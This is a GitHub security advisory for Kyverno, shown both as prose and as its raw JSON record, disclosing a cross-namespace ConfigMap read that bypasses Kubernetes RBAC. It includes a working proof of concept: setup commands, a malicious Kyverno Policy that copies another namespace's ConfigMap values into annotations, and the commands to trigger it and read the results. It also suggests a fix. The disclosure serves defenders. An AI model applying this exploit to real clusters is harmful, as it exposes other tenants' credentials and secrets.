GHSA-CVQ5-HHX3-F99P

Vulnerability from github – Published: 2026-04-16 21:35 – Updated: 2026-04-16 21:35
VLAI?
Summary
Kyverno: Cross-Namespace Read Bypasses RBAC Isolation (CVE-2026-22039 Incomplete Fix)
Details

Summary

CVE-2026-22039 fixed cross-namespace privilege escalation in Kyverno's apiCall context by validating the URLPath field. However, the ConfigMap context loader has the identical vulnerability — the configMap.namespace field accepts any namespace with zero validation, allowing a namespace admin to read ConfigMaps from any namespace using Kyverno's privileged service account. This is a complete RBAC bypass in multi-tenant Kubernetes clusters.

Details

Root cause: The CVE-2026-22039 fix in pkg/engine/apicall/apiCall.go (lines 73-83) validates that URLPath references only the policy's own namespace using regex. However, the ConfigMap context loader at pkg/engine/context/loaders/configmap.go performs no namespace validation on the namespace field.

Code path comparison:

CVE-2026-22039 (fixed) This vulnerability (unfixed)
Location apiCall.URLPath field configMap.namespace field
Code path apicall.Fetch() → namespace regex validation configmap.NewConfigMapLoader() → no validation
Root cause Variable substitution + missing validation Same pattern, still unpatched

Exploit mechanism: 1. Namespace admin creates a Kyverno Policy in their namespace (standard RBAC) 2. Policy uses context.configMap.namespace: "victim-ns" to reference another namespace 3. Kyverno's admission controller service account (has cluster-wide view role) fetches the ConfigMap 4. Policy mutates a trigger ConfigMap to exfiltrate the stolen data via annotations

Affected code: pkg/engine/context/loaders/configmap.go - NewConfigMapLoader() does not validate resolved namespace against policy namespace.

PoC

Full reproduction (5 minutes on kind):

#!/bin/bash
# Setup: kind cluster + Kyverno v1.17.0
kind create cluster --name kyverno-poc --wait 60s
helm repo add kyverno https://kyverno.github.io/kyverno/
helm install kyverno kyverno/kyverno --namespace kyverno --create-namespace --version 3.7.0 --wait

# Create attacker and victim namespaces
kubectl create namespace attacker-ns
kubectl create namespace victim-ns

# Plant sensitive data in victim namespace
kubectl create configmap sensitive-config -n victim-ns \
    --from-literal=db-password="s3cr3t-p4ssw0rd" \
    --from-literal=api-key="AKIAIOSFODNN7EXAMPLE"

# Create namespace admin RBAC (standard multi-tenant setup)
kubectl create serviceaccount ns-admin -n attacker-ns
kubectl create rolebinding ns-admin-binding --clusterrole=admin \
    --serviceaccount=attacker-ns:ns-admin --namespace=attacker-ns
kubectl create role kyverno-policy-creator --verb=create,get,list \
    --resource=policies.kyverno.io --namespace=attacker-ns
kubectl create rolebinding kyverno-policy-binding --role=kyverno-policy-creator \
    --serviceaccount=attacker-ns:ns-admin --namespace=attacker-ns

# Verify namespace admin CANNOT directly access victim-ns
kubectl get configmap sensitive-config -n victim-ns \
    --as=system:serviceaccount:attacker-ns:ns-admin
# Error: Forbidden (expected)

Exploit policy:

# Apply as namespace admin
apiVersion: kyverno.io/v1
kind: Policy
metadata:
  name: configmap-crossns-read
  namespace: attacker-ns
spec:
  rules:
  - name: steal-configmap
    match:
      any:
      - resources:
          kinds: [ConfigMap]
          names: ["trigger-cm"]
    context:
    - name: stolendata
      configMap:
        name: "sensitive-config"
        namespace: "victim-ns"    # <-- NO VALIDATION
    mutate:
      patchStrategicMerge:
        metadata:
          annotations:
            exfil-db-password: "{{ stolendata.data.\"db-password\" }}"
            exfil-api-key: "{{ stolendata.data.\"api-key\" }}"

Trigger and exfiltrate:

# Trigger policy (as namespace admin)
kubectl apply -f - <<EOF
apiVersion: v1
kind: ConfigMap
metadata:
  name: trigger-cm
  namespace: attacker-ns
data:
  innocent: "data"
EOF

# Read exfiltrated secrets
kubectl get configmap trigger-cm -n attacker-ns -o jsonpath='{.metadata.annotations}' \
    --as=system:serviceaccount:attacker-ns:ns-admin | python3 -m json.tool
# Output:
# {
#     "exfil-api-key": "AKIAIOSFODNN7EXAMPLE",
#     "exfil-db-password": "s3cr3t-p4ssw0rd"
# }

Result: Namespace admin successfully read secrets from victim-ns despite having NO RBAC access.

Impact

Severity: HIGH (CVSS 7.7)

Who is affected: - Any Kubernetes cluster running Kyverno v1.17.0 (and earlier) with namespace-scoped Policy creation enabled (default) - Multi-tenant clusters where ConfigMaps contain sensitive data - Azure Kubernetes Service (AKS) and other managed K8s using Kyverno

Attack prerequisites: - Namespace admin privileges (standard RBAC in multi-tenant clusters) - Ability to create Kyverno Policy resources (default for namespace admins) - No cluster-admin required

What can be exfiltrated: - Any ConfigMap from any namespace - Common targets: database credentials, API keys, service configurations, application secrets stored in ConfigMaps

Why this matters: - Namespace isolation is a fundamental Kubernetes security boundary - Namespace admin is an expected, common RBAC level in production multi-tenant clusters - Violates the principle of least privilege and breaks multi-tenancy guarantees

Suggested fix: Apply the same namespace validation from apicall.Fetch() to configmap.NewConfigMapLoader(): 1. Pass policyNamespace to NewConfigMapLoader() 2. After variable substitution on namespace, validate resolved namespace == policyNamespace 3. Return error if validation fails

Also audit other context loaders (globalReference, imageRegistry, variable) for the same pattern.

Tested versions: - Kyverno: v1.17.0 (latest, includes CVE-2026-22039 fix) - Helm chart: 3.7.0 - Kubernetes: v1.35.0 (kind)

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/kyverno/kyverno"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.17.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-16T21:35:04Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nCVE-2026-22039 fixed cross-namespace privilege escalation in Kyverno\u0027s `apiCall` context by validating the `URLPath` field. However, the **ConfigMap context loader has the identical vulnerability** \u2014 the `configMap.namespace` field accepts any namespace with zero validation, allowing a namespace admin to read ConfigMaps from any namespace using Kyverno\u0027s privileged service account. This is a complete RBAC bypass in multi-tenant Kubernetes clusters.\n\n### Details\n\n**Root cause:** The CVE-2026-22039 fix in `pkg/engine/apicall/apiCall.go` (lines 73-83) validates that `URLPath` references only the policy\u0027s own namespace using regex. However, the ConfigMap context loader at `pkg/engine/context/loaders/configmap.go` performs **no namespace validation** on the `namespace` field.\n\n**Code path comparison:**\n\n| | CVE-2026-22039 (fixed) | This vulnerability (unfixed) |\n|--|---|---|\n| **Location** | `apiCall.URLPath` field | `configMap.namespace` field |\n| **Code path** | `apicall.Fetch()` \u2192 namespace regex validation | `configmap.NewConfigMapLoader()` \u2192 no validation |\n| **Root cause** | Variable substitution + missing validation | Same pattern, still unpatched |\n\n**Exploit mechanism:**\n1. Namespace admin creates a Kyverno Policy in their namespace (standard RBAC)\n2. Policy uses `context.configMap.namespace: \"victim-ns\"` to reference another namespace\n3. Kyverno\u0027s admission controller service account (has cluster-wide `view` role) fetches the ConfigMap\n4. Policy mutates a trigger ConfigMap to exfiltrate the stolen data via annotations\n\n**Affected code:** `pkg/engine/context/loaders/configmap.go` - `NewConfigMapLoader()` does not validate resolved namespace against policy namespace.\n\n### PoC\n\nFull reproduction (5 minutes on `kind`):\n\n```bash\n#!/bin/bash\n# Setup: kind cluster + Kyverno v1.17.0\nkind create cluster --name kyverno-poc --wait 60s\nhelm repo add kyverno https://kyverno.github.io/kyverno/\nhelm install kyverno kyverno/kyverno --namespace kyverno --create-namespace --version 3.7.0 --wait\n\n# Create attacker and victim namespaces\nkubectl create namespace attacker-ns\nkubectl create namespace victim-ns\n\n# Plant sensitive data in victim namespace\nkubectl create configmap sensitive-config -n victim-ns \\\n    --from-literal=db-password=\"s3cr3t-p4ssw0rd\" \\\n    --from-literal=api-key=\"AKIAIOSFODNN7EXAMPLE\"\n\n# Create namespace admin RBAC (standard multi-tenant setup)\nkubectl create serviceaccount ns-admin -n attacker-ns\nkubectl create rolebinding ns-admin-binding --clusterrole=admin \\\n    --serviceaccount=attacker-ns:ns-admin --namespace=attacker-ns\nkubectl create role kyverno-policy-creator --verb=create,get,list \\\n    --resource=policies.kyverno.io --namespace=attacker-ns\nkubectl create rolebinding kyverno-policy-binding --role=kyverno-policy-creator \\\n    --serviceaccount=attacker-ns:ns-admin --namespace=attacker-ns\n\n# Verify namespace admin CANNOT directly access victim-ns\nkubectl get configmap sensitive-config -n victim-ns \\\n    --as=system:serviceaccount:attacker-ns:ns-admin\n# Error: Forbidden (expected)\n```\n\n**Exploit policy:**\n```yaml\n# Apply as namespace admin\napiVersion: kyverno.io/v1\nkind: Policy\nmetadata:\n  name: configmap-crossns-read\n  namespace: attacker-ns\nspec:\n  rules:\n  - name: steal-configmap\n    match:\n      any:\n      - resources:\n          kinds: [ConfigMap]\n          names: [\"trigger-cm\"]\n    context:\n    - name: stolendata\n      configMap:\n        name: \"sensitive-config\"\n        namespace: \"victim-ns\"    # \u003c-- NO VALIDATION\n    mutate:\n      patchStrategicMerge:\n        metadata:\n          annotations:\n            exfil-db-password: \"{{ stolendata.data.\\\"db-password\\\" }}\"\n            exfil-api-key: \"{{ stolendata.data.\\\"api-key\\\" }}\"\n```\n\n**Trigger and exfiltrate:**\n```bash\n# Trigger policy (as namespace admin)\nkubectl apply -f - \u003c\u003cEOF\napiVersion: v1\nkind: ConfigMap\nmetadata:\n  name: trigger-cm\n  namespace: attacker-ns\ndata:\n  innocent: \"data\"\nEOF\n\n# Read exfiltrated secrets\nkubectl get configmap trigger-cm -n attacker-ns -o jsonpath=\u0027{.metadata.annotations}\u0027 \\\n    --as=system:serviceaccount:attacker-ns:ns-admin | python3 -m json.tool\n# Output:\n# {\n#     \"exfil-api-key\": \"AKIAIOSFODNN7EXAMPLE\",\n#     \"exfil-db-password\": \"s3cr3t-p4ssw0rd\"\n# }\n```\n\n**Result:** Namespace admin successfully read secrets from `victim-ns` despite having NO RBAC access.\n\n### Impact\n\n**Severity: HIGH (CVSS 7.7)**\n\n**Who is affected:**\n- Any Kubernetes cluster running Kyverno v1.17.0 (and earlier) with namespace-scoped Policy creation enabled (default)\n- Multi-tenant clusters where ConfigMaps contain sensitive data\n- Azure Kubernetes Service (AKS) and other managed K8s using Kyverno\n\n**Attack prerequisites:**\n- Namespace admin privileges (standard RBAC in multi-tenant clusters)\n- Ability to create Kyverno Policy resources (default for namespace admins)\n- No cluster-admin required\n\n**What can be exfiltrated:**\n- Any ConfigMap from any namespace\n- Common targets: database credentials, API keys, service configurations, application secrets stored in ConfigMaps\n\n**Why this matters:**\n- Namespace isolation is a fundamental Kubernetes security boundary\n- Namespace admin is an expected, common RBAC level in production multi-tenant clusters\n- Violates the principle of least privilege and breaks multi-tenancy guarantees\n\n**Suggested fix:**\nApply the same namespace validation from `apicall.Fetch()` to `configmap.NewConfigMapLoader()`:\n1. Pass `policyNamespace` to `NewConfigMapLoader()`\n2. After variable substitution on `namespace`, validate resolved namespace == `policyNamespace`\n3. Return error if validation fails\n\nAlso audit other context loaders (`globalReference`, `imageRegistry`, `variable`) for the same pattern.\n\n**Tested versions:**\n- Kyverno: v1.17.0 (latest, includes CVE-2026-22039 fix)\n- Helm chart: 3.7.0\n- Kubernetes: v1.35.0 (kind)",
  "id": "GHSA-cvq5-hhx3-f99p",
  "modified": "2026-04-16T21:35:04Z",
  "published": "2026-04-16T21:35:04Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/kyverno/kyverno/security/advisories/GHSA-cvq5-hhx3-f99p"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/kyverno/kyverno"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Kyverno: Cross-Namespace Read Bypasses RBAC Isolation (CVE-2026-22039 Incomplete Fix)"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…